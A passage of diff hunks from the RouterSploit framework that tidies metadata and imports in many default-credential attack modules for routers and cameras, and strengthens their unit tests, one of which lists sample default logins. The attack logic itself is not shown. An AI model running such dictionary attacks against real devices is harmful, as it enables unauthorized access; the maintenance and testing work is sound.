"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Vacron Camera",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(FTPDefault):
"name": "VideoIQ Camera Default FTP Creds",
"description": "Module performs dictionary attack against VideoIQ Camera FTP service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"VideoIQ Camera",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(SSHDefault):
"name": "VideoIQ Camera Default SSH Creds",
"description": "Module performs dictionary attack against VideoIQ Camera SSH service."
"If valid credentials are found, they are displayed to the user.",
"authors": [
"Marcin Bury <marcin[at]threat9.com>", # routersploit
],
"devices": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
),
"devices": (
"VideoIQ Camera",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(TelnetDefault):
"name": "VideoIQ Camera Default Telnet Creds",
"description": "Module performs dictionary attack against VideoIQ Camera Telnet service. "
"If valid credentials are found, they ar displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
"VideoIQ Cameras",
],
),
"devices": (
"VideoIQ Camera",
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -10,8 +10,11 @@ class Exploit(FTPClient):
"description": "Module performs bruteforce attack against FTP service."
"If valid credentials are found, the are displayed to the user.",
"authors": (
"Marcin Bury <marcin[at]threat9.com>" # routersploit module
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
),
"devices": (
"Multiple devices",
)
}
target = OptIP("", "Target IPv4, IPv6 or file with ip:port (file://)")
......
......@@ -9,8 +9,11 @@ class Exploit(FTPClient):
"description": "Module performs dictionary attack with default credentials against FTP service."
"If valid credentials are found, the are displayed to the user.",
"authors": (
"Marcin Bury <marcin[at]threat9.com>" # routersploit module
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
),
"devices": (
"Multiple devices",
)
}
target = OptIP("", "Target IPv4, IPv6 or file with ip:port (file://)")
......
......@@ -13,6 +13,9 @@ class Exploit(HTTPClient):
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
"Alexander Yakovlev <https://github.com/toxydose>", # upgrading to perform bruteforce attack against HTTP Digest Auth service
),
"devices": (
"Multiple devices",
)
}
......
......@@ -12,6 +12,9 @@ class Exploit(HTTPClient):
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
"Alexander Yakovlev <https://github.com/toxydose>", # upgrading to perform bruteforce attack against HTTP Digest Auth service
),
"devices": (
"Multiple devices",
)
}
......
......@@ -10,6 +10,9 @@ class Exploit(SNMPClient):
"If valid community string is found, it is displayed to the user",
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
),
"devices": (
"Multiple devices",
)
}
......
......@@ -12,6 +12,9 @@ class Exploit(SSHClient):
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
),
"devices": (
"Multiple devices",
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -11,6 +11,9 @@ class Exploit(SSHClient):
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
),
"devices": (
"Multiple devices",
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -12,6 +12,9 @@ class Exploit(TelnetClient):
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
),
"devices": (
"Multiple devices",
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -11,6 +11,9 @@ class Exploit(TelnetClient):
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
),
"devices": (
"Multiple devices",
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(FTPDefault):
"name": "Belkin Router Default FTP Creds",
"description": "Module performs dictionary attack against Belkin Router FTP service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"Marcin Bury <marcin[at]threat9.com>",
],
"devices": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
),
"devices": (
"Belkin Router",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(SSHDefault):
"name": "Belkin Router Default SSH Creds",
"description": "Module performs dictionary attack against Belkin Router SSH service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Belkin Router",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(TelnetDefault):
"name": "Belkin Router Telnet Creds",
"description": "Module performs dictioanry attack against Belkin Router Telnet service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Belkin Router",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(FTPDefault):
"name": "Billion Router Default FTP Creds",
"description": "Module performs dictionary attack against Billion Router FTP service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Billion Router",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(SSHDefault):
"name": "Billion Router Default SSH Creds",
"description": "Module performs dictionary attack against Billion Router SSH service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"Marcin Bury <marcin[at]threat9.com>",
],
"devices": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
),
"devices": (
"Billion Router",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(TelnetDefault):
"name": "Billion Router Default Telnet Creds",
"description": "Module performs dictionary attack against Billion Router Telnet service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"Marcin Bury <marcin[at]threat9.com>",
],
"devices": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
),
"devices": (
"Billion Router",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -11,7 +11,7 @@ class Exploit(FTPDefault):
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
),
"devices": (
"Cisc Router",
"Cisco Router",
),
}
......
from routersploit.core.exploit import *
from routersploit.modules.creds.generic.telne_default import Exploit as TelnetDefault
from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault
class Exploit(TelnetDefault):
......
......@@ -7,12 +7,12 @@ class Exploit(FTPDefault):
"name": "Mikrotik Router Default FTP Creds",
"description": "Module performs dictionary attack against Mikrotik Router FTP service."
"If valid credentials are found they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Mikrotik Router",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(SSHDefault):
"name": "Mikrotik Router Default SSH Creds",
"description": "Module performs dictionary attack against Mikrotik Router SSH service."
"If valid credentials are found they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Mikrotik Router",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(TelnetDefault):
"name": "Mikrotik Router Default Telnet Creds",
"description": "Module performs dictionary attack against Mikrotik Router Telnet service."
"If valid credentials are found they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Mikrotik Router",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(FTPDefault):
"name": "Movistar Router Default FTP Creds",
"description": "Module performs dictionary attack against Movistar Router FTP service."
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Movistar Router",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(SSHDefault):
"name": "Movistar Router Default SSH Creds",
"description": "Module performs dictionary attack against Movistar Router SSH service."
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Movistar Router",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
from rotersploit.core.exploit import *
from routersploit.core.exploit import *
from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault
......@@ -7,12 +7,12 @@ class Exploit(TelnetDefault):
"name": "Movistar Router Default Telnet Creds",
"description": "Module performs dictionary attack against Movistar Router Telnet service."
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Movistar Router",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(FTPDefault):
"name": "Netcore Router Default FTP Creds",
"description": "Module performs dictionary attack against Netcore Router FTP service."
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Netcore Router",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(SSHDefault):
"name": "Netcore Router Default SSH Creds",
"description": "Module performs dictionary attack against Netcore Router SSH service."
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Netcore Router",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(TelnetDefault):
"name": "Netcore Router Default Telnet Creds",
"description": "Module performs dictionary attack against Netcore Router Telnet service."
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Netcore Router",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(FTPDefault):
"name": "Netgear Router Default FTP Creds",
"description": "Module performs dictionary attack against Netgear Router FTP service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Netgear Router",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(SSHDefault):
"name": "Netgear Router Default SSH Creds",
"description": "Module performs dictionary attack against Netgear Router SSH service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Netgear Router",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(TelnetDefault):
"name": "Netgear Router Default Telnet Creds",
"description": "Module performs dictionary attack against Netgear Router Telnet service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Netgear Router",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(FTPDefault):
"name": "Netsys Router Default FTP Creds",
"description": "Module performs dictionary attack against Netsys Router FTP service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"device": [
),
"devices": (
"Netsys Router",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(SSHDefault):
"name": "Netsys Router Default SSH Creds",
"description": "Module performs dictionary attack against Netsys Router SSH service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"device": [
),
"devices": (
"Netsys Router",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(FTPDefault):
"name": "Netsys Router Default Telnet Creds",
"description": "Module performs dictionary attack against Netsys Router Telnet service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"device": [
),
"devices": (
"Netsys Router",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(SSHDefault):
"name": "PFSense Router SSH Creds",
"description": "Module performs dictionary attack against PFSense Router SSH service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"PFSense Router",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(FTPDefault):
"name": "Technicolor Router Default FTP Creds",
"description": "Module performs dictionary attack against Technicolor Router FTP service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Technicolor Router",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(SSHDefault):
"name": "Technicolor Router Default SSH Creds",
"description": "Module performs dictionary attack against Technicolor Router SSH service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Technicolor Router",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(TelnetDefault):
"name": "Technicolor Router Default Telnet Creds",
"description": "Module performs dictionary attack against Technicolor Router Telnet service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Technicolor Router",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(FTPDefault):
"name": "Thomson Router Default FTP Creds",
"description": "Module performs dictionary attack against Thomson Router FTP service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Thomson Router",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(SSHDefault):
"name": "Thomson Router Default SSH Creds",
"description": "Module performs dictionary attack against Thomson Router SSH service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Thomson Router",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(TelnetDefault):
"name": "Thomson Router Default Telnet Creds",
"description": "Module performs dictionary attack against Thomson Router Telnet service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Thomson Router",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(FTPDefault):
"name": "TP-Link Router Default FTP Creds",
"description": "Module performs dictionary attack against TP-Link Router FTP service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"TP-Link Router",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(SSHDefault):
"name": "TP-Link Router Default SSH Creds",
"description": "Module performs dictionary attack against TP-Link Router SSH service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"TP-Link Router",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
from routerpsloit.core.exploit import *
from routersploit.core.exploit import *
from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault
......@@ -7,12 +7,12 @@ class Exploit(TelnetDefault):
"name": "TP-Link Router Default Telnet Creds",
"description": "Module performs dictionary attack against TP-Link Router Telnet service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"TP-Link Router",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(FTPDefault):
"name": "Ubiquiti Router Default FTP Creds",
"description": "Module performs dictionary attack against Ubiquiti Router FTP service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Ubiquiti Router",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(SSHDefault):
"name": "Ubiquiti Router Default SSH Creds",
"description": "Module performs dictionary attack against Ubiquiti Router SSH service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Ubiquiti Router",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(TelnetDefault):
"name": "Ubiquiti Router Default Telnet Creds",
"description": "Module performs dictionary attack against Ubiquiti Router Telnet service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Ubiquiti Router",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(FTPDefault):
"name": "ZTE Router Default FTP Creds",
"description": "Module performs dictioanry attack against ZTE Router FTP service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"ZTE Router",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(SSHDefault):
"name": "ZTE Router Default SSH Creds",
"description": "Module performs dictionary attack against ZTE Router SSH service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"ZTE Router",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(TelnetDefault):
"name": "ZTE Router Default Telnet Creds",
"description": "Module performs dictionary attack against ZTE Router Telnet service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"ZTE Router",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(FTPDefault):
"name": "Zyxel Router Default FTP Creds",
"description": "Module performs dictionary attack against Zyxel Router FTP service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Zyxel Router",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(SSHDefault):
"name": "Zyxel Router Default SSH Creds",
"description": "Module performs dictionary attack against Zyxel Router SSH service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Zyxel Router",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(TelnetDefault):
"name": "Zyxel Router Default Telnet Creds",
"description": "Module performs dictionary attack against Zyxel Router Telnet service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Zyxel Router",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -8,4 +8,6 @@ def test_check_success(generic_target):
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check()
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
......@@ -12,9 +12,13 @@ def apply_response(*args, **kwargs):
def test_check_success(target):
""" Test scenario - successful check """
cgi_mock = target.get_route_mock("/video.htm", methods=["GET", "POST"])
cgi_mock.side_effect = apply_response
route_mock = target.get_route_mock("/video.htm", methods=["GET", "POST"])
route_mock.side_effect = apply_response
exploit = Exploit()
exploit.target = target.host
exploit.port = target.port
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
......@@ -8,4 +8,6 @@ def test_check_success(generic_target):
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check()
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
......@@ -8,4 +8,6 @@ def test_check_success(generic_target):
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check()
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
......@@ -8,4 +8,6 @@ def test_check_success(generic_target):
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check()
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
......@@ -8,4 +8,6 @@ def test_check_success(generic_target):
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check()
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
......@@ -8,4 +8,6 @@ def test_check_success(generic_target):
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check()
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
......@@ -8,4 +8,6 @@ def test_check_success(generic_target):
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check()
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
......@@ -2,19 +2,16 @@ from flask import request
from routersploit.modules.creds.cameras.basler.webinterface_http_form_default_creds import Exploit
def apply_response(*args, **kwargs):
if request.method == "GET":
return "<TEST>Password</TEST>", 200
elif request.method == "POST":
return "TEST", 200
def test_check_success(target):
""" Test scenario - successful check """
cgi_mock = target.get_route_mock("/video.htm", methods=["GET", "POST"])
cgi_mock.side_effect = apply_response
route_mock = target.get_route_mock("/cgi-bin/auth_if.cgi", methods=["GET", "POST"])
route_mock.return_value = "success: true"
exploit = Exploit()
exploit.target = target.host
exploit.port = target.port
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
......@@ -8,4 +8,6 @@ def test_check_success(generic_target):
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check()
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
......@@ -8,4 +8,6 @@ def test_check_success(generic_target):
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check()
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
......@@ -8,4 +8,6 @@ def test_check_success(generic_target):
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check()
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
......@@ -8,4 +8,6 @@ def test_check_success(generic_target):
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check()
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
......@@ -8,4 +8,6 @@ def test_check_success(generic_target):
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check()
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
......@@ -8,4 +8,6 @@ def test_check_success(generic_target):
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check()
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
......@@ -8,4 +8,6 @@ def test_check_success(generic_target):
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check()
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
......@@ -8,4 +8,6 @@ def test_check_success(generic_target):
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check()
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
......@@ -8,4 +8,6 @@ def test_check_success(generic_target):
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check()
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
......@@ -8,4 +8,6 @@ def test_check_success(generic_target):
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check()
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
......@@ -8,4 +8,6 @@ def test_check_success(generic_target):
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check()
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
......@@ -8,4 +8,6 @@ def test_check_success(generic_target):
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check()
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
......@@ -8,4 +8,6 @@ def test_check_success(generic_target):
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check()
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
......@@ -8,4 +8,6 @@ def test_check_success(generic_target):
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check()
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
......@@ -8,4 +8,6 @@ def test_check_success(generic_target):
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check()
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
......@@ -8,4 +8,6 @@ def test_check_success(generic_target):
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check()
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
......@@ -8,4 +8,6 @@ def test_check_success(generic_target):
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check()
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
......@@ -8,4 +8,6 @@ def test_check_success(generic_target):
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check()
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
from routersploit.modules.creds.routers.asmax.telnet_default_creds import Exploit
def test_check_success(generic_target):
""" Test scenario - successful check """
exploit = Exploit()
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
from flask import request, Response
from base64 import b64decode
from routersploit.modules.creds.routers.asmax.webinterface_http_auth_default_creds import Exploit
def apply_response(*args, **kwargs):
if "Authorization" in request.headers.keys():
creds = str(b64decode(request.headers["Authorization"].replace("Basic ", "")), "utf-8")
if creds in ["admin:admin", "support:support", "user:user"]:
return "Authorized", 200
resp = Response("Unauthorized")
resp.headers["WWW-Authenticate"] = "Basic ABC"
return resp, 401
def test_check_success(target):
""" Test scenario - successful check """
cgi_mock = target.get_route_mock("/", methods=["GET", "POST"])
cgi_mock.side_effect = apply_response
exploit = Exploit()
exploit.target = target.host
exploit.port = target.port
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
from routersploit.modules.creds.routers.asus.telnet_default_creds import Exploit
def test_check_success(generic_target):
""" Test scenario - successful check """
exploit = Exploit()
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
from routersploit.modules.creds.routers.belkin.telnet_default_creds import Exploit
def test_check_success(generic_target):
""" Test scenario - successful check """
exploit = Exploit()
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
from routersploit.modules.creds.routers.bhu.telnet_default_creds import Exploit
def test_check_success(generic_target):
""" Test scenario - successful check """
exploit = Exploit()
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
from routersploit.modules.creds.routers.billion.telnet_default_creds import Exploit
def test_check_success(generic_target):
""" Test scenario - successful check """
exploit = Exploit()
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check() is True
assert exploit.check_default() is not None
assert exploit.run() is None
